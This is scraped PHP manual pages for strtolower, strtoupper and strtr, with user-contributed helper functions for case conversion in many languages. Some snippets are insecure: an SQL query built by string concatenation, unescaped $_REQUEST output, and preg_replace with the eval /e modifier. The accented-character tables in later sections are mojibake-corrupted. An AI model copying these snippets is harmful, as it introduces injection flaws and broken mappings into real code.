<?php

#_____________________
# parse_cli($string) /
function parse_cli($string) {
    $state = 'space';
    $previous = '';     // stores current state when encountering a backslash (which changes $state to 'escaped', but has to fall back into the previous $state afterwards)
    $out = array();     // the return value
    $word = '';
    $type = '';         // type of character
    // array[states][chartypes] => actions
    $chart = array(
        'space'        => array('space'=>'',   'quote'=>'q',  'doublequote'=>'d',  'backtick'=>'b',  'backslash'=>'ue', 'other'=>'ua'),
        'unquoted'     => array('space'=>'w ', 'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'quoted'       => array('space'=>'a',  'quote'=>'w ', 'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'doublequoted' => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'w ', 'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'backticked'   => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'w ', 'backslash'=>'e',  'other'=>'a'),
        'escaped'      => array('space'=>'ap', 'quote'=>'ap', 'doublequote'=>'ap', 'backtick'=>'ap', 'backslash'=>'ap', 'other'=>'ap'));
    for ($i=0; $i<=strlen($string); $i++) {
        $char = substr($string, $i, 1);
        $type = array_search($char, array('space'=>' ', 'quote'=>'\'', 'doublequote'=>'"', 'backtick'=>'`', 'backslash'=>'\\'));
        if (! $type) $type = 'other';
        if ($type == 'other') {
            // grabs all characters that are also 'other' following the current one in one go
            preg_match("/[ \'\"\`\\\]/", $string, $matches, PREG_OFFSET_CAPTURE, $i);
            if ($matches) {
                $matches = $matches[0];
                $char = substr($string, $i, $matches[1]-$i); // yep, $char length can be > 1
                $i = $matches[1] - 1;
            }else{
                // no more match on special characters, that must mean this is the last word!
                // the .= hereunder is because we *might* be in the middle of a word that just contained special chars
                $word .= substr($string, $i);
                break; // jumps out of the for() loop
            }
        }
        $actions = $chart[$state][$type];
        for($j=0; $j<strlen($actions); $j++) {
            $act = substr($actions, $j, 1);
            if ($act == ' ') $state = 'space';
            if ($act == 'u') $state = 'unquoted';
            if ($act == 'q') $state = 'quoted';
            if ($act == 'd') $state = 'doublequoted';
            if ($act == 'b') $state = 'backticked';
            if ($act == 'e') { $previous = $state; $state = 'escaped'; }
            if ($act == 'a') $word .= $char;
            if ($act == 'w') { $out[] = $word; $word = ''; }
            if ($act == 'p') $state = $previous;
        }
    }
    if (strlen($word)) $out[] = $word;
    return $out;
}

?>
manicdepressive at mindless dot com 19-Jun-2004 03:01
<pre><?php
/** get leading, trailing, and embedded separator tokens that were 'skipped'
if for some ungodly reason you are using php to implement a simple parser that
needs to detect nested clauses as it builds a parse tree */

$str = "(((alpha(beta))(gamma))";

$seps = '()';
$tok = strtok( $str,$seps ); // return false on empty string or null
$cur = 0;
$dumbDone = FALSE;
$done = (FALSE===$tok);
while (!$done) {
   // process skipped tokens (if any at first iteration) (special for last)
   $posTok = $dumbDone ? strlen($str) : strpos($str, $tok, $cur );
   $skippedMany = substr( $str, $cur, $posTok-$cur ); // false when 0 width
   $lenSkipped = strlen($skippedMany); // 0 when false
   if (0!==$lenSkipped) {
      $last = strlen($skippedMany) -1;
      for($i=0; $i<=$last; $i++){
         $skipped = $skippedMany[$i];
         $cur += strlen($skipped);
         echo "skipped: $skipped\n";
      }
   }
   if ($dumbDone) break; // this is the only place the loop is terminated

   // process current tok
   echo "curr tok: ".$tok."\n";

   // update cursor
   $cur += strlen($tok);

   // get any next tok
   if (!$dumbDone){
      $tok = strtok($seps);
      $dumbDone = (FALSE===$tok);
      // you're not really done till you check for trailing skipped
   }
};
?></pre>


Make a string lowercase

  • « strtok
  • strtoupper »
  • PHP Manual
  • String Functions
  • Make a string lowercase

strtolower

(PHP 4, PHP 5)

strtolower — Make a string lowercase

Description

string strtolower ( string $string )

Returns string with all alphabetic characters converted to lowercase.

Note that 'alphabetic' is determined by the current locale. This means that in i.e. the default "C" locale, characters such as umlaut-A (Ä) will not be converted.

Parameters

string

The input string.

Return Values

Returns the lowercased string.

Examples

Example #1 strtolower() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtolower($str);
echo $str; // Prints mary had a little lamb and she loved it so
?>

Notes

Note: This function is binary-safe.

See Also

  • strtoupper() - Make a string uppercase
  • ucfirst() - Make a string's first character uppercase
  • ucwords() - Uppercase the first character of each word in a string
  • mb_strtolower() - Make a string lowercase

User Contributed Notes

spider_poison at hotmail dot com 01-Nov-2013 01:14
PT-BR lower case ...

function minuscula($str){
    return preg_replace(array("/[À-Å]/","/[È-Ë]/","/[Ì-Ï]/","/[Ò-ÖØ]/","/[Ù-Ü]/"),array("a","e","i","o","u"),$str);
}
on at niepodam dot pl 24-Oct-2011 04:23
If the input string is in different language that server locale, then you should use mb_strtolower() function.
RCube 01-Apr-2011 01:57
To convert an entire array to lower, I prefer this method;

<?php
function arraytolower(array $array, $round = 0){
  return unserialize(strtolower(serialize($array)));
}
?>

3 lines of code seem a lot less overhead than 10-40.
If there's any intrinsic problem with this method, please post it.
marcin at maydesign dot pl 23-Jun-2010 12:16
strtolower(); doesn't work for polish chars

<?php strtolower("mĄkA"); ?>
will return: mĄka;

the best solution - use mb_strtolower()

<?php mb_strtolower("mĄkA",'UTF-8'); ?>
will return: mąka
leha_grobov 26-Jun-2009 05:03
the strtolower version to support most amount of languages including russian, french and so on:

<?php
function strtolower_utf8($string){
  $convert_to = array(
    "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u",
    "v", "w", "x", "y", "z", "à", "á", "â", "ã", "ä", "å", "æ", "ç", "è", "é", "ê", "ë", "ì", "í", "î", "ï",
    "ð", "ñ", "ò", "ó", "ô", "õ", "ö", "ø", "ù", "ú", "û", "ü", "ý", "а", "б", "в", "г", "д", "е", "ё", "ж",
    "з", "и", "й", "к", "л", "м", "н", "о", "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш", "щ", "ъ", "ы",
    "ь", "э", "ю", "я"
  );
  $convert_from = array(
    "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U",
    "V", "W", "X", "Y", "Z", "À", "Á", "Â", "Ã", "Ä", "Å", "Æ", "Ç", "È", "É", "Ê", "Ë", "Ì", "Í", "Î", "Ï",
    "Ð", "Ñ", "Ò", "Ó", "Ô", "Õ", "Ö", "Ø", "Ù", "Ú", "Û", "Ü", "Ý", "А", "Б", "В", "Г", "Д", "Е", "Ё", "Ж",
    "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р", "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ", "Ъ",
    "Ь", "Э", "Ю", "Я"
  );

  return str_replace($convert_from, $convert_to, $string);
}
?>
coder at bulgaria dot bg 04-Apr-2009 01:08
for cyrillic and UTF 8 use  mb_convert_case

exampel

<?php
$string = "Австралия";
$string = mb_convert_case($string, MB_CASE_LOWER, "UTF-8");
echo $string;

//output is: австралия
?>
dbers26 at gmail dot com 07-Jan-2009 10:34
the function  arraytolower will create duplicate entries since keys are case sensitive.

<?php
$array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array = arraytolower($array);
?>
/*
Array
(
    [test1] => asgafasdaad
    [TEST2] => ASddhshsDGb
    [TeSt3] => asdasda@asdadadASDASDgh
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
*/

I prefer this method

<?php
  function arraytolower($array, $include_leys=false) {

    if($include_leys) {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array2[strtolower($key)] = arraytolower($value, $include_leys);
        else
          $array2[strtolower($key)] = strtolower($value);
      }
      $array = $array2;
    }
    else {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array[$key] = arraytolower($value, $include_leys);
        else
          $array[$key] = strtolower($value);
      }
    }

    return $array;
  }
?>

which when used like this

<?php
$array = $array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array1 = arraytolower($array);
$array2 = arraytolower($array,true);

print_r($array1);
print_r($array2);
?>

will give output of

Array
(
    [test1] => asgafasdaad
    [TEST2] => asddhshsdgb
    [TeSt3] => asdasda@asdadadasdasdgh
)
Array
(
    [test1] => asgafasdaad
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
rodrigoATsistemasparainternetDOTcomDOTbr 10-Sep-2008 03:25
<?php
function fullLower($str){
   // convert to entities
   $subject = htmlentities($str,ENT_QUOTES);
   $pattern = '/&([a-z])(uml|acute|circ';
   $pattern.= '|tilde|ring|elig|grave|slash|horn|cedil|th);/e';
   $replace = "'&'.strtolower('\\1').'\\2'.';'";
   $result = preg_replace($pattern, $replace, $subject);
   // convert from entities back to characters
   $htmltable = get_html_translation_table(HTML_ENTITIES);
   foreach($htmltable as $key => $value) {
      $result = ereg_replace(addslashes($value),$key,$result);
   }
   return(strtolower($result));
}

echo fullLower("Ã É Ò Õ ÚÙÛ");

//results ã é ò õ úùû
//adapted from fullUpper on strtoupper manual
?>
patricia at steuerungb dot de 17-Oct-2007 03:29
When you're not sure, how the current locale is set, you might find the following function useful. It's strtolower for utf8-formatted text:

<?php
function strtolower_utf8($inputString) {
    $outputString    = utf8_decode($inputString);
    $outputString    = strtolower($outputString);
    $outputString    = utf8_encode($outputString);
    return $outputString;
}
?>

It's not suitable for every occasion, but it surely gets in handy. I use it for lowering German 'Umlauts' like ä and ö.
rok dot kralj at gmail dot com 04-Jun-2007 08:49
Slovenian characters

<?php
    function strtolower_slovenian($string)
    {
        $low=array("Č" => "č", "Ž" => "ž", "Š" => "š");
        return strtolower(strtr($string,$low));
    }

?>
marco at recchiuti dot it 22-May-2007 09:43
Maybe it is not so elegant, but it Works.
It's just a fast Idea and it is what I need.
Any hacks for other characters (link !, ? etc etc) should help.

function RemoveShouting($string)
{
     $frase = "";
     $astri = explode(".", $string);
     foreach ($astri as $elem)
    $frase .= " ".ucfirst(trim(strtolower($elem))).". ";

    return trim($frase);
}

Cheers!
M
spiceee ddotty spiceee com 07-Mar-2006 01:53
If you ever need to strtolower a string with href tags on it and doesn't want to mess with the characters inside a tag, this is for you.

<?php

function loweroutsidetags ($str) {
    $chars = preg_split ("//", $str);
    $tolower = true;
    $str = '';

    foreach ($chars as $k) {
        if ($k == '<') { $tolower = false; }
        if ($tolower) { $k = strtolower ($k); }
        $str .= $k;
        if ($k == '>') { $tolower = true; }
    }
    return $str;
}

?>

this:
echo loweroutsidetags('aALalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">')

will give:
aalalala <a href="?q=CASEsENSITIVINESSinURLSareSTUPID">
Patrick 19-Jan-2006 07:57
If you're considering using the below unhtmlentities function from phpContrib, I would suggest this one as an alternative:

<?php
function unhtmlentities($string)
{
   // replace numeric entities
   $string = preg_replace('~&#x([0-9a-f]+);~ei', 'chr(hexdec("\\1"))', $string);
   $string = preg_replace('~&#([0-9]+);~e', 'chr(\\1)', $string);
   // replace literal entities
   $trans_tbl = get_html_translation_table(HTML_ENTITIES);
   $trans_tbl = array_flip($trans_tbl);
   return strtr($string, $trans_tbl);
}
?>

That was copied exactly from the html_entity_decode manual page.  It'll handle numeric entities correctly, the below function won't.
fackelkind 11-Jan-2006 09:03
Nifty? :D

<?php
        function is_lowercase ($str){
                return ($str == strtolower ($str));
        }
?>
mhuggins57 at yahoo dot com 20-Jul-2005 01:04
There's a ucfirst "function" to make the first character uppercase, but there's no "lcfirst" function to make the first character lowercase.  Here's my own code to accomplish this.

<?
function lcfirst($str) {
    return strtolower(substr($str, 0, 1)) . substr($str, 1);
}
?>

I found this particularly useful for generating XML nodes with the Reflection class.
kmcdermott at perimeterinstitute dot ca 08-Dec-2004 10:04
To do case insensitive comparisons in a database, strtolower() can be a quick and dirty solution:

$Sql = "SELECT * FROM tablename WHERE LOWER(column_name) = '".strtolower($my_var)."'";
bkimble at ebaseweb dot com 20-Jan-2003 07:39
Heres a small function I wrote to stop people from submitting data that is ALL IN CAPS SO THEY CAN GET MORE ATTENTION THAT THE REST OF THE USER SUBMITTED DATA on my website :) If you can make it better, by all means do so. This function splits up words delimited by a space, and makes only the first letter of each word capitalized. You can easily modify it so it's only the very first word of the string. I've also added some exceptions so you don't make things like roman numerals look like "Iii" or "Xcmii" or something.

function RemoveShouting($string)
{
 $lower_exceptions = array(
        "to" => "1", "a" => "1", "the" => "1", "of" => "1"
 );

 $higher_exceptions = array(
        "I" => "1", "II" => "1", "III" => "1", "IV" => "1",
        "V" => "1", "VI" => "1", "VII" => "1", "VIII" => "1",
        "XI" => "1", "X" => "1"
 );

 $words = split(" ", $string);
 $newwords = array();
 foreach ($words as $word)
 {
  if (!$higher_exceptions[$word]) $word = strtolower($word);
  if (!$lower_exceptions[$word]) $word[0] = strtoupper($word[0]);
  array_push($newwords, $word);
 }
 return join(" ", $newwords);
}

BK


Make a string uppercase

  • Â« strtolower
  • strtr Â»
  • PHP Manual
  • String Functions
  • Make a string uppercase

strtoupper

(PHP 4, PHP 5)

strtoupper — Make a string uppercase

Description

string strtoupper ( string $string )

Returns string with all alphabetic characters converted to uppercase.

Note that 'alphabetic' is determined by the current locale. For instance, in the default "C" locale characters such as umlaut-a (Ã¤) will not be converted.

Parameters

string

The input string.

Return Values

Returns the uppercased string.

Examples

Example #1 strtoupper() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtoupper($str);
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

Notes

Note: This function is binary-safe.

See Also

  • strtolower() - Make a string lowercase
  • ucfirst() - Make a string's first character uppercase
  • ucwords() - Uppercase the first character of each word in a string
  • mb_strtoupper() - Make a string uppercase

User Contributed Notes

andre at koethur dot de 10-Jun-2013 05:28
One might think that setting the correct locale would do the trick with for example german umlauts, but this is not the case. You have to use mb_strtoupper() instead:

<?php

setlocale(LC_CTYPE, 'de_DE.UTF8');

echo strtoupper('Umlaute Ã¤Ã¶Ã¼ in uppercase'); // outputs "UMLAUTE Ã¤Ã¶Ã¼ IN UPPERCASE"
echo mb_strtoupper('Umlaute Ã¤Ã¶Ã¼ in uppercase', 'UTF-8'); // outputs "UMLAUTE Ã„Ã–Ãœ IN UPPERCASE"

?>
davaco at net dot hr 06-Jan-2012 04:46
Simple function for uppercase encoding of croatian text! :)

<?php
function strtoupper_hr($a) {
    return strtr(mb_strtoupper($a, "utf-8"), array(
      " Å¡" => " Å ",
      " Ä‘" => " Ä",
      " Å¾" => " Å½",
      " Ä" => " ÄŒ",
      " Ä‡" => " Ä†"
    ));
}
?>
james at snasta dot ie 10-Nov-2011 03:44
In the Irish language certain initial mutations can never be capitalized â€” the following simple function can be used to capitalize text in Irish.

i.e. Muintir na hÃ‰ireann -> MUINTIR NA hÃ‰IREANN

<?php
function strtoupper_ga($a) {
    return strtr(mb_strtoupper($a, "utf-8"), array(
      " MB" => " mB",
      " GC" => " gC",
      " ND" => " nD",
      " BHF" => " bhF",
      " NG" => " nG",
      " BP" => " bP",
      " DT" => " dT",
      " HA" => " hA",
      " HE" => " hE",
      " HI" => " hI",
      " HO" => " hO",
      " HU" => " hU",
      " HÃ" => " hÃ",
      " HÃ‰" => " hÃ‰",
      " HÃ" => " hÃ",
      " HÃ“" => " hÃ“",
      " HÃš" => " hÃš"
    ));
}
?>
markus dot geiger at mayflower dot de 20-Jun-2011 06:42
NOTE: To uppercase a unicode string you simply could use mb_strtoupper($str,  'UTF-8') instead of all that bloated PHP functions ;=)
dev dot gabiu at gmail dot com 17-May-2011 01:22
This would be my short version for French characters:

<?php
function fullUpper($string){
  return strtr(strtoupper($string), array(
      "Ã " => "Ã€",
      "Ã¨" => "Ãˆ",
      "Ã¬" => "ÃŒ",
      "Ã²" => "Ã’",
      "Ã¹" => "Ã™",
          "Ã¡" => "Ã",
      "Ã©" => "Ã‰",
      "Ã" => "Ã",
      "Ã³" => "Ã“",
      "Ãº" => "Ãš",
          "Ã¢" => "Ã‚",
      "Ãª" => "ÃŠ",
      "Ã®" => "ÃŽ",
      "Ã´" => "Ã”",
      "Ã»" => "Ã›",
          "Ã§" => "Ã‡",
    ));
}
?>
smieat 02-May-2010 01:39
perfect solutions for turkish utf-8 (including i I conversations):

<?php
function strtolowertr($metin){
    return mb_convert_case(str_replace('I','Ä±',$metin), MB_CASE_LOWER, "UTF-8");
}

function strtouppertr($metin){
    return mb_convert_case(str_replace('i','Ä°',$metin), MB_CASE_UPPER, "UTF-8");
}

function ucwordstr($metin) {
    return ltrim(mb_convert_case(str_replace(array(' I',' Ä±', ' Ä°', ' i'),array(' I',' I',' Ä°',' Ä°'),' '.$metin), MB_CASE_TITLE, "UTF-8"));
}

function ucfirsttr($metin) {
    $metin = in_array(crc32($metin[0]),array(1309403428, -797999993, 957143474)) ? array(strtouppertr(substr($metin,0,2)),substr($metin,2)) : array(strtouppertr($metin[0]),substr($metin,1));
return $metin[0].$metin[1];
}
?>
Jaason 10-Jul-2009 10:48
convert polish special letters into big and small chars;p

<?php
function toUpper($string) {
    return (strtoupper(strtr($string, 'Ä™Ã³Ä…Å›Å‚Å¼ÅºÄ‡Å„','Ä˜Ã“Ä„ÅšÅÅ»Å¹Ä†Åƒ' )));
    };

function toLower($string) {
    return (strtolower(strtr($string,'Ä˜Ã“Ä„ÅšÅÅ»Å¹Ä†Åƒ', 'Ä™Ã³Ä…Å›Å‚Å¼ÅºÄ‡Å„' )));
    };
?>
chris at table4 dot com 19-Jan-2009 04:31
Simple function to change the case of your string and any accented html characters contained within it.

Inspired by fullUpper(), by silent at gmx dot li... just a little bit more atomic.

<?php

function convertCase($str, $case = 'upper')
{ //yours, courtesy of table4.com  :)
  switch($case)
  {
    case "upper" :
    default:
      $str = strtoupper($str);
      $pattern = '/&([A-Z])(UML|ACUTE|CIRC|TILDE|RING|';
      $pattern .= 'ELIG|GRAVE|SLASH|HORN|CEDIL|TH);/e';
      $replace = "'&'.'\\1'.strtolower('\\2').';'"; //convert the important bit back to lower
    break;

    case "lower" :
      $str = strtolower($str);
    break;
  }

  $str = preg_replace($pattern, $replace, $str);
  return $str;
}
?>

Depending on what you are trying to achieve you would call like this:

<?php

//with entities...
$str = convertCase(htmlentities($str, ENT_QUOTES, "ISO-8859-1"));

?>
spaceman at foo dot at 17-Apr-2008 06:59
It has been mentioned in a previous comment that all you need to do to let PHP's strtoupper() do the conversion - instead of writing more or less complicated functions yourself - is to specify the locale in which you're doing the case conversion:

<?php setlocale(LC_CTYPE, "de_AT") ?>

It is important to note that setlocale() will silently fail if it can't find the specified locale on your system, so *always* check its return value. Try different spellings: using "de_AT" as an example, there are various combinations that may or may not work for you: "de", "de_AT.utf8", "de_AT.iso-8859-1", "de_AT.latin1", "de_AT@euro", etc).

If you can't find an appropriate locale setting, check your system configuration (locales are a system-wide setting, PHP gets them from the OS). On Windows, locales can be set from the Control Panel; on Linux it depends on your distribution. You can try "sudo dpkg-reconfigure locales" on Debian-based distros, or configure them manually. On Ubuntu Dapper, I had to copy entries over from /usr/share/i18n/SUPPORTED to /var/lib/locales/supported.d/local, then do the dpkg-reconfigure.

After you're done, restart the web server.

That said, there are special cases where you want to do the conversion manually. In German, for example, the letter 'ÃŸ' (szlig) only exists as a lower-case character, and so doesn't get converted by strtoupper. The convential way to express a 'ÃŸ' in an uppercase string is "SS". This function will take care of this exception (for Latin1 and most of Latin9, at least):

<?php

define("LATIN1_UC_CHARS", "Ã€ÃÃ‚ÃƒÃ„Ã…Ã†Ã‡ÃˆÃ‰ÃŠÃ‹ÃŒÃÃŽÃÃÃ‘Ã’Ã“Ã”Ã•Ã–Ã˜Ã™ÃšÃ›ÃœÃ");
define("LATIN1_LC_CHARS", "Ã Ã¡Ã¢Ã£Ã¤Ã¥Ã¦Ã§Ã¨Ã©ÃªÃ«Ã¬ÃÃ®Ã¯Ã°Ã±Ã²Ã³Ã´ÃµÃ¶Ã¸Ã¹ÃºÃ»Ã¼Ã½");

function uc_latin1 ($str) {
    $str = strtoupper(strtr($str, LATIN1_LC_CHARS, LATIN1_UC_CHARS));
    return strtr($str, array("ÃŸ" => "SS"));
}

?>
Oliv. 11-Oct-2007 04:20
accents convertion trick :

<?php

    function ucfirstHTMLentity($matches){
        return "&".ucfirst(strtolower($matches[1])).";";
    }
    function fullUpper($str){
        $subject = strtoupper(htmlentities($str, null, 'UTF-8'));
        $pattern = '/&([A-Z]+);/';
        return preg_replace_callback($pattern, "ucfirstHTMLentity", $subject);
    }

        print fullUpper($_REQUEST["txt"]);

?>
xguimax at gmail dot com 05-Oct-2007 10:17
Portuguese version of String Capitalize in PHP.

    function strProper($str)
    {
        $noUp = array('um','uma','o','a','de','do','da','em');
        $str = trim($str);
        $str = strtoupper($str[0]) . strtolower(substr($str, 1));
        for($i=1; $i<strlen($str)-1; ++$i) {
            if($str[$i]==' ') {
                for($j=$i+1; $j<strlen($str) && $str[$j]!=' '; ++$j); //find next space
                $size = $j-$i-1;
                $shortWord = false;
                if($size<=3) {
                    $theWord = substr($str,$i+1,$size);
                    for($j=0; $j<count($noUp) && !$shortWord; ++$j)
                        if($theWord==$noUp[$j])
                            $shortWord = true;
                }
                if( !$shortWord )
                    $str = substr($str, 0, $i+1) . strtoupper($str[$i+1]) . substr($str, $i+2);
            }
            $i+=$size;
        }
        return $str;
    }
RUNET 18-Apr-2007 02:33
Russian

function str_to_upper($str){
    return strtr($str,
    "abcdefghijklmnopqrstuvwxyz".
    "\xE0\xE1\xE2\xE3\xE4\xE5".
    "\xb8\xe6\xe7\xe8\xe9\xea".
    "\xeb\xeC\xeD\xeE\xeF\xf0".
    "\xf1\xf2\xf3\xf4\xf5\xf6".
    "\xf7\xf8\xf9\xfA\xfB\xfC".
    "\xfD\xfE\xfF",
    "ABCDEFGHIJKLMNOPQRSTUVWXYZ".
    "\xC0\xC1\xC2\xC3\xC4\xC5".
    "\xA8\xC6\xC7\xC8\xC9\xCA".
    "\xCB\xCC\xCD\xCE\xCF\xD0".
    "\xD1\xD2\xD3\xD4\xD5\xD6".
    "\xD7\xD8\xD9\xDA\xDB\xDC".
    "\xDD\xDE\xDF");
}
bart at insane dot at 10-May-2006 01:31
When using UTF-8 and need to convert to uppercase with
special characters like the german Ã¤,Ã¶,Ã¼ (didn't test for french,polish,russian but think it should work, too) try this:

function strtoupper_utf8($string){
    $string=utf8_decode($string);
    $string=strtoupper($string);
    $string=utf8_encode($string);
    return $string;
}
30-May-2005 03:11
// 2005/5/30 Justin
    // Chinese_Traditional toupper
    function CT_to_upper($string)
    {
        $isChineseStart = false;

          $new_string = "";
         $i = 0;
          while($i < strlen($string))
          {
               if (ord(substr($string,$i,1)) <128)
               {
                   if( $isChineseStart == false )
                       $new_string .= strtoupper(mb_substr($string,$i,1));
                   else
                       $new_string .= substr($string,$i,1);
               }
               else
               {
                   if( $isChineseStart == false )
                       $isChineseStart = true;
                   else
                       $isChineseStart = false;

                     $new_string .= substr($string,$i,1);
               }
               $i++;
          }
          return $new_string;
    }
    //
Justin_Lin at mail2000 dot com dot tw 30-May-2005 03:09
The following is my code for translate a given string to upper case and it will support chinese traditional :

// 2005/5/30 Justin
// Chinese_Traditional toupper
function CT_to_upper($string)
{
    $isChineseStart = false;

    $new_string = "";
    $i = 0;
    while($i < strlen($string))
    {
           if (ord(substr($string,$i,1)) <128)
            {
           if( $isChineseStart == false )
                $new_string .= strtoupper(mb_substr($string,$i,1));
           else
                $new_string .= substr($string,$i,1);
             }
             else
             {
           if( $isChineseStart == false )
                  $isChineseStart = true;
           else
                $isChineseStart = false;
             $new_string .= substr($string,$i,1);
             }
             $i++;
      }
      return $new_string;
}
//
willyann at gmail dot com 25-May-2005 06:31
chinese

function to_upper($string) {
  $new_string = "";
  $i = 0;
  while($i < strlen($string)) {
   if (ord(substr($string,$i,1)) <128)
   {
     $new_string .= strtoupper(substr($string,$i,1));
     $i++;
   } else {
     $new_string .= substr($string,$i,2);
     $i=$i+2;
   }
  }
  return $new_string;
}
31-Oct-2004 12:23
If you only need to extend the conversion by the characters of a certain language, it's possible to control this using an environment variable to change the locale:

setlocale(LC_CTYPE, "de_DE");
martine 07-Feb-2004 04:41
This may save you time and effort (if you need to convert european languages such as Czech, Portugees, German or Swedish)

the function mb_strtoupper() converts all accented characters in the latin alphabet, ie. š, ñ, ü, ý etc. This is easier than some of the suggestions below. It should also convert case properly for russian, etc.
mec at stadeleck dot org 02-Dec-2002 03:54
something I myself first not thought about:
if there are any html entities (named entities) in your string, strtoupper will turn all letters within this entities to upper case, too. So if you want to manipulate a string with strtoupper it should contain only unicode entities (if ever).


Translate characters or replace substrings

  • Â« strtoupper
  • substr_compare Â»
  • PHP Manual
  • String Functions
  • Translate characters or replace substrings

strtr

(PHP 4, PHP 5)

strtr — Translate characters or replace substrings

Description

string strtr ( string $str , string $from , string $to )
string strtr ( string $str , array $replace_pairs )

If given three arguments, this function returns a copy of str where all occurrences of each (single-byte) character in from have been translated to the corresponding character in to, i.e., every occurrence of $from[$n] has been replaced with $to[$n], where $n is a valid offset in both arguments.

If from and to have different lengths, the extra characters in the longer of the two are ignored. The length of str will be the same as the return value's.

If given two arguments, the second should be an array in the form array('from' => 'to', ...). The return value is a string where all the occurrences of the array keys have been replaced by the corresponding values. The longest keys will be tried first. Once a substring has been replaced, its new value will not be searched again.

In this case, the keys and the values may have any length, provided that there is no empty key; additionally, the length of the return value may differ from that of str. However, this function will be the most efficient when all the keys have the same size.

Parameters

str

The string being translated.

from

The string being translated to to.

to

The string replacing from.

replace_pairs

The replace_pairs parameter may be used instead of to and from, in which case it's an array in the form array('from' => 'to', ...).

Return Values

Returns the translated string.

If replace_pairs contains a key which is an empty string (""), FALSE will be returned. If the str is not a scalar then it is not typecasted into a string, instead a warning is raised and NULL is returned.

Examples

Example #1 strtr() example

<?php
//In this form, strtr() does byte-by-byte translation
//Therefore, we are assuming a single-byte encoding here:
$addr = strtr($addr, "Ã¤Ã¥Ã¶", "aao");
?>

The next example shows the behavior of strtr() when called with only two arguments. Note the preference of the replacements ("h" is not picked because there are longer matches) and how replaced text was not searched again.

Example #2 strtr() example with two arguments

<?php
$trans = array("h" => "-", "hello" => "hi", "hi" => "hello");
echo strtr("hi all, I said hello", $trans);
?>

The above example will output:

hello all, I said hi

The two modes of behavior are substantially different. With three arguments, strtr() will replace bytes; with two, it may replace longer substrings.

Example #3 strtr() behavior comparison

<?php
echo strtr("baab", "ab", "01"),"\n";

$trans = array("ab" => "01");
echo strtr("baab", $trans);
?>

The above example will output:

1001
ba01

See Also

  • str_replace() - Replace all occurrences of the search string with the replacement string
  • preg_replace() - Perform a regular expression search and replace

User Contributed Notes

Romain 23-Oct-2014 06:44
<?php
    /**
     * Clean string,
     * minimize and remove space, accent and other
     *
     * @param string $string
     * @return string
     */
    public function mb_strtoclean($string){
        // Valeur a nettoyer (conversion)
        $unwanted_array = array(    'Å '=>'S', 'Å¡'=>'s', 'Å½'=>'Z', 'Å¾'=>'z', 'Ã€'=>'A', 'Ã'=>'A', 'Ã‚'=>'A', 'Ãƒ'=>'A', 'Ã„'=>'A', 'Ã…'=>'A', 'Ã†'=>'A', 'Ã‡'=>'C', 'Ãˆ'=>'E', 'Ã‰'=>'E',
                                    'ÃŠ'=>'E', 'Ã‹'=>'E', 'ÃŒ'=>'I', 'Ã'=>'I', 'ÃŽ'=>'I', 'Ã'=>'I', 'Ã‘'=>'N', 'Ã’'=>'O', 'Ã“'=>'O', 'Ã”'=>'O', 'Ã•'=>'O', 'Ã–'=>'O', 'Ã˜'=>'O', 'Ã™'=>'U',
                                    'Ãš'=>'U', 'Ã›'=>'U', 'Ãœ'=>'U', 'Ã'=>'Y', 'Ãž'=>'B', 'ÃŸ'=>'Ss', 'Ã '=>'a', 'Ã¡'=>'a', 'Ã¢'=>'a', 'Ã£'=>'a', 'Ã¤'=>'a', 'Ã¥'=>'a', 'Ã¦'=>'a', 'Ã§'=>'c',
                                    'Ã¨'=>'e', 'Ã©'=>'e', 'Ãª'=>'e', 'Ã«'=>'e', 'Ã¬'=>'i', 'Ã'=>'i', 'Ã®'=>'i', 'Ã¯'=>'i', 'Ã°'=>'o', 'Ã±'=>'n', 'Ã²'=>'o', 'Ã³'=>'o', 'Ã´'=>'o', 'Ãµ'=>'o',
                                    'Ã¶'=>'o', 'Ã¸'=>'o', 'Ã¹'=>'u', 'Ãº'=>'u', 'Ã»'=>'u', 'Ã½'=>'y', 'Ã½'=>'y', 'Ã¾'=>'b', 'Ã¿'=>'y',
                                    ' ' => '', '_' => '', '-' => '', '.'=> '', ',' => '', ';' => '');

        return mb_strtolower(strtr($string, $unwanted_array ));
    }
doydoy44 13-Aug-2013 01:01
The example of VOVA (http://www.php.net/manual/fr/function.strtr.php#111968) is good but the result is false:
His example dont replace the string.

<?php
function f1_strtr() {
  for($i=0; $i<1000000; ++$i) {
    $new_string = strtr("aboutdealers.com", array(".com" => ""));
  }
  return $new_string;
}
function f2_str_replace() {
  for($i=0; $i<1000000; ++$i) {
    $new_string = str_replace( ".com", "", "aboutdealers.com");
  }
  return $new_string;
}
$start = microtime(true);
$strtr = f1_strtr();
$stop = microtime(true);
$time_strtr = $stop - $start;

$start = microtime(true);
$str_replace = f2_str_replace();
$stop = microtime(true);
$time_str_replace = $stop - $start;

echo 'time strtr       : ' . $time_strtr       . "\tresult :" . $strtr       . "\n";
echo 'time str_replace : ' . $time_str_replace . "\tresult :" . $str_replace . "\n";
echo 'time strtr > time str_replace => ' . ($time_strtr > $time_str_replace);
?>
--------------------------------------
